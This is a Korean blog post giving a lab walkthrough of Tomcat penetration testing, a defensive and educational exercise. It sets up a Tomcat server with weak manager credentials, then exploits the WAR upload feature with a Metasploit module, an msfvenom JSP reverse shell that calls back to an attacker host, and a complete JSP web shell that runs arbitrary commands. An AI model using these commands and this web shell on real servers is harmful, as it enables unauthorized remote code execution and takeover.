본문 바로가기
Hacking Articles/Penetration Testing

Tomcat Penetration Testing(톰캣 침투 테스트)

by chmod640 2024. 5. 3.

아파치 소프트웨어 재단에서 개발한 아파치 톰캣은 널리 사용되는 웹 서버 및 서블릿 컨테이너입니다. 원래는 자바 웹 애플리케이션에 사용되는 자바 서블릿 및 자바서버 페이지(JSP) 기술의 데모 플랫폼으로 사용되었습니다. 시간이 지남에 따라 Tomcat은 추가적인 Java 웹 기술을 지원하도록 기능을 확장했습니다.

Tomcat의 주목할 만한 기능은 WAR(웹 애플리케이션 아카이브) 파일을 사용한 웹 애플리케이션 배포를 지원한다는 점입니다. 이러한 파일은 코드, 페이지, 파일 등 웹 애플리케이션의 모든 구성 요소를 한데 묶어 배포를 더욱 간편하게 만들어 줍니다. Tomcat은 사용자가 이러한 WAR 파일을 업로드하고 실행하여 인터넷에서 애플리케이션을 호스팅할 수 있도록 지원합니다.

톰캣은 WAR 파일 외에도 JSP 페이지의 배포도 지원합니다. JSP는 개발자가 Java를 사용하여 동적 웹 페이지를 만들 수 있는 기술입니다. Tomcat은 이러한 JSP 페이지를 실행할 수 있으므로 다양한 웹 애플리케이션을 호스팅하는 데 다용도로 사용할 수 있습니다.

기본적으로 Tomcat은 WAR 파일 및 JSP 페이지 사용을 지원합니다. 그러나 관리자는 설정을 구성하여 파일 업로드에 대한 보안 및 제어를 보장하고 서버의 전반적인 안전성을 향상시킬 수 있습니다.

 

Table of Contents

  • Lab Setup
  • Installation
  • Configuration
  • Enumeration
  • Exploitation using Metasploit Framework
  • Exploiting Manually (Reverse shell)
  • Exploiting Manually (Web shell)
  • Conclusion

Lab Setup

이 문서에서는 우분투 머신에 Tomcat 서버를 설정하고 파일 업로드 취약점을 익스플로잇하겠습니다. 준비된 머신은 다음과 같습니다:

대상 머신: 우분투(192.168.1.5)
공격자 머신: 칼리 리눅스(192.168.1.7)

Installation

Apache Tomcat은 Java를 사용하므로 서버에 Java JDK가 설치되어 있어야 합니다. 아래 명령을 실행하여 설치할 수 있습니다:

apt install openjdk-11-jdk

 

다음 명령을 사용하여 tomcat이라는 이름으로 새 사용자를 추가합니다:

useradd -m -U -d /opt/tomcat -s /bin/false tomcat

 

공식 웹사이트에서 Tomcat tar.gz 파일을 다운로드하세요.

 

웹사이트에서 최신 버전을 우분투 머신에 다운로드하고 다운로드한 파일을 압축 해제합니다.

wget https://dlcdn.apache.org/tomcat/tomcat-10/v10.1.20/bin/apache-tomcat-10.1.20.tar.gz
tar -xvf apache-tomcat-10.1.20.tar.gz

 

압축을 푼 폴더를 /opt/tomcat 디렉터리로 옮기고, tomcat 사용자에게 소유 권한을 부여하고 바이너리 파일에 대한 실행 권한을 설정합니다.

mv apache-tomcat-10.1.20/* /opt/tomcat
chown -R tomcat: /opt/tomcat
sh -c 'chmod +x /opt/tomcat/bin/*.sh '

 

etc/system/system/ 디렉터리에 tomcat.service 파일을 생성하고 파일에 다음 내용을 추가합니다:

[Unit]
Description=Apache Tomcat
After=network.target

[Service]
Type=forking

User=tomcat
Group=tomcat

Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
Environment=CATALINA_PID=/opt/tomcat/tomcat.pid
Environment=CATALINA_HOME=/opt/tomcat
Environment=CATALINA_BASE=/opt/tomcat
Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"

ExecStart=/opt/tomcat/bin/startup.sh
ExecStop=/opt/tomcat/bin/shutdown.sh

ExecReload=/bin/kill $MAINPID
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target

 

다음 명령을 사용하여 systemd 데몬을 다시 로드하여 변경 사항을 적용합니다:

systemctl daemon-reload

 

또한 시스템 재부팅 시 톰캣 서비스가 시작되도록 설정합니다.

systemctl enable --now tomcat

 

톰캣 서버의 상태를 확인합니다:

systemctl status tomcat

 

 

Configuration

설치가 완료되면 이제 Tomcat 서버를 구성할 차례입니다.
관리자 사용자 비밀번호를 생성하려면 다음 파일을 변경합니다:

nano /opt/tomcat/conf/tomcat-users.xml
</tomcat-users> 위에 다음 코드를 추가합니다:

<role rolename="admin-gui"/>
<role rolename="manager-gui"/>
<user username="admin" password="password" roles="admin-gui,manager-gui"/>

 

Tomcat Manager에 대한 원격 액세스를 사용하려면 관리자 및 host-manager 디렉터리에 있는 context.xml 파일을 다음과 같이 변경합니다.

nano /opt/tomcat/webapps/manager/META-INF/context.xml
nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

위 두 파일에서 아래와 같이 다음 줄을 제거합니다:

 

변경이 완료되면 ubuntu에서 Tomcat 서비스를 다시 시작합니다.

systemctl restart tomcat

 

Tomcat 서버가 우분투 머신의 포트 8080에서 실행되고 있는지 확인합니다.

Enumeration

설치 및 구성이 완료되면 이제 열거 단계를 시작합니다.
칼리 리눅스를 공격자 머신으로 사용하면 nmap을 사용하여 초기 열거를 수행할 수 있습니다.

nmap -p 8080 -sV 192.168.1.5

Exploitation using Metasploit Framework

먼저 메타스플로잇을 사용하여 기능을 익스플로잇하려는 시도는 이미 톰캣 파일 업로드 취약점에 대해 사용 가능한 익스플로잇입니다. 여기에 사용된 익스플로잇은 exploit/multi/http/tomcat_mgr_upload입니다.

메타스플로잇 내에서 아래에 주어진 명령을 입력하여 익스플로잇을 실행합니다:

use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.5
set report 8080
set httpusername admin
set httppassword password
show targets
set target 2
set payload linux/x86/meterpreter_reverse_tcp
exploit

 

위에서 보면 리버스 셸이 얻어지고 미터프리터 셸을 사용하여 명령을 실행할 수 있음을 알 수 있습니다.

Exploiting Manually (Reverse Shell)

위의 익스플로잇 프로세스는 수동으로도 수행할 수 있습니다. 이를 위해서는 먼저 msfvenom을 사용하여 .war 파일을 만들어야 합니다.

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war

 

shell.war 파일이 생성된 후에는 해당 파일을 Tomcat 관리자 앱에 업로드해야 합니다.

관리자 앱에 액세스하려면 기본 인증이 필요합니다. 관리자 앱에 액세스하기 위해 사용자 이름은 admin으로, 비밀번호는 비밀번호로 지정할 수 있습니다.

 

매니저 앱에 로그인한 후 위에서 생성한 shell.war 파일을 워 파일에 업로드하여 기능을 배포합니다.

 

파일이 업로드되면 업로드된 파일 섹션에서 확인할 수 있습니다.

 

업로드된 파일에 액세스하기 전에 포트 1234에서 넷캣 리스너를 시작하세요.

rlwrap nc -lvnp 1234

 

/shell에 접근하여 파일에 액세스하여 리버스 셸을 얻습니다.

 

리버스 셸은 포트 1234에서 얻습니다.

 

Exploiting Manually (Web Shell)

웹 셸을 얻기 위해 .war 파일을 사용할 수 있으며, .war 파일이 서버에 업로드된 후 웹 셸을 얻을 수 있습니다.
.jsp 파일이 포함된 .war 파일을 만들려면 kali 리눅스 머신에서 자바가 필요합니다.

apt install openjdk-11-jdk

 

이제 웹셸 디렉터리를 만들고 그 안에 index.jsp 파일을 넣습니다.

mkdir webshell
cd webshell
nano index.jsp

 

웹 셸의 index.jsp 파일에 다음 코드를 복사합니다.

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

 

index.jsp 파일이 생성되면 이제 디렉터리를 .war 파일로 변환한 후 패키지를 만들 수 있습니다.

jar -cvf ../webshell.war *

 

webshell. war 파일이 생성되면 배포 기능에서 업로드합니다.

 

업로드된 웹셸 디렉토리 내에서 index.jsp 페이지에 액세스하여 웹셸을 얻을 수 있습니다.

 

위의 수동 익스플로잇을 수행하는 다른 방법은 cmd.jsp 파일을 다운로드하고 zip을 사용하여 webshell.war 파일을 생성하는 것입니다.
웹셸 jsp 파일은 여기에서 다운로드할 수 있습니다:
https://github.com/tennc/webshell/tree/master/fuzzdb-webshell/jsp

 

webshell/fuzzdb-webshell/jsp at master · tennc/webshell

This is a webshell open source project. Contribute to tennc/webshell development by creating an account on GitHub.

github.com

 

cmd.jsp 파일을 다운로드한 후 다음 명령을 사용하여 revshell.war 파일을 만들 수 있습니다:

zip -r revshell.war cmd.jsp

 

다시 앞서 설명한 것과 동일한 절차를 반복하여 배포 기능에 revshell.war 파일을 업로드합니다. 경로에 있는 파일에 액세스한 후 웹 셸을 얻습니다:

http://192.168.1.5:8080/revshell/cmd.jsp

Conclusion

Apache Tomcat은 개발자와 관리자 모두의 다양한 요구를 충족하는 다목적성과 보안을 결합하여 Java 웹 애플리케이션 배포에 여전히 선호되는 선택지입니다. 그러나 잘못된 구성으로 인해 원격 코드 실행과 같은 의도하지 않은 특정 작업을 수행하는 데 악용될 수 있습니다.

댓글